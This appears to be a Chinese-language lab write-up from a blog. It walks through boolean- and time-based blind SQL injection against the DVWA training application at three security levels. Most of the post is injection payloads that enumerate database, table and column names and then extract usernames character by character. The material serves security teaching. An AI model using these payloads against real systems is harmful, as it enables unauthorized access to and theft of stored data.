DVWA-----------sql盲注

11 篇文章 0 订阅
9 篇文章 0 订阅

SQL盲注的类型:

基于布尔值的盲注
基于时间的盲注
基于报错的盲注

SQL盲注的过程:

1、判断是否存在注入
2、猜解当前数据库名:长度和名称
3、猜解数据库中的表名:长度和名称,表的数量
4、猜解表中的字段名:长度和名称,字段数
5、猜解数据

一、low级别

正常回显
在这里插入图片描述
错误回显
在这里插入图片描述

1、判断是否有注入点

输入1 and 1=1,正常回显
输入1 and 1=2,正常回显
不属于数字型,采用字符型的引号闭合
输入1’ and ‘1’=‘1 正常回显
输入1’ and ‘1’='2 不正常回显
说明可能存在注入点,但是回显只有两种情况,存在和不存在,所以只能盲注

2、猜数据库名,长度

猜数据库长度
1’ and length(database())=4# 基于布尔
1’ and ascii(length(database()))=52# 4的ascii码为52 基于布尔 数据库的长度是否为4,是回显正常,否回显错误
1’ and sleep (if((length(database())=3),0,5))# 基于时间 数据库的长度是否为3,是则0秒返回,否则5秒反回

猜数据库名称 可以采用>huo<来判断
1’ and ascii(mid(database(),1,1))=100# d的asccii码为100 第一个数据库的第一个字母是否为d,是回显正常,否回显错误
1’ and sleep(if((mid(database(),1,1)=‘d’),0,5))# 第一个数据库的第一个字母是否为d,是则0秒返回,否则5秒反回
1’ and sleep(if((mid(database(),2,1)=‘v’),0,5))#
1’ and sleep(if((mid(database(),3,1)=‘w’),0,5))#
1’ and sleep(if((mid(database(),4,1)=‘a’),0,5))#

最终得出数据库名为dvwa

3、猜表的个数,名称,长度

猜个数 这两张表 guestbook users
1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2# 布尔
1’ and sleep(if((select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2,0,5))# 布尔
猜长度 guestbook=9 users=4
1’ and length(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9# 布尔
1’ and length(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5#
1’ and sleep(if(length(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9,0,5))# 时间
猜表名 以users为例
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=117# 第一个字母 //u
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),2))=115# 第二个字母//s
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),3))=101# 第三个字母//e
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),4))=114# 第四个字母 //r
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5))=115# 第五个字母//s
1’ and sleep(if(ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5))=115,0,5))# 时间盲注

4、猜列的个数,名称,长度

以users表中为例
user_id first_name last_name user password avatar last_login failed_login 8列

猜个数
1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=8#
猜长度
1’ and length(mid((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7# 第一个列user_id
1’ and length(mid((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=10# 第二个列first_name
1’ and length(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=4# 第是四个列user
猜名称 以user为例
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=117# 第一个字母//u
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=115# 第二个字母//s
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=101# 第三个字母//e
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=114# 第四个字母//r

5、猜解数据

猜解user列中的数据 为例
admin gordonb 1337 pablo smithy 有5个数据

猜第一个数据
1’ and ascii(mid((select user from users limit 0,1),1))=97# 第一个字母//a
1’ and ascii(mid((select user from users limit 0,1),2))=100#第二个字母//d
1’ and ascii(mid((select user from users limit 0,1),3))=109# 第三个字母//m
1’ and ascii(mid((select user from users limit 0,1),4))=105# 第四个字母//i
1’ and ascii(mid((select user from users limit 0,1),5))=110# 第五个字母//n

二、medium级别

采用了选择提交方式,只能通过抓包来进行分析。

1、判断注入点

修改 1 and 1=1
在这里插入图片描述
在这里插入图片描述
回显正常
修改 1 and 1=2
在这里插入图片描述
在这里插入图片描述
回显不正常,可能存在数字型注入,但没有信息,只能通过盲注

2、通过抓包添加注入语句,注入语句和low级别的一样,但不用闭合引号。

三、high级别

1、判断注入

输入1返回正常
输入1 and 1=1正常
输入1 and 1=2正常
说明被过滤掉了,不是数字型,尝试采用引号闭合
输入1’ and ‘1’=‘1 正常
输入1’ and ‘1’='2不正常,说明可能存在注入点,但并没有数据爆出,所以可以盲注。

2、输入和low级别一样的语句,爆出数据。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值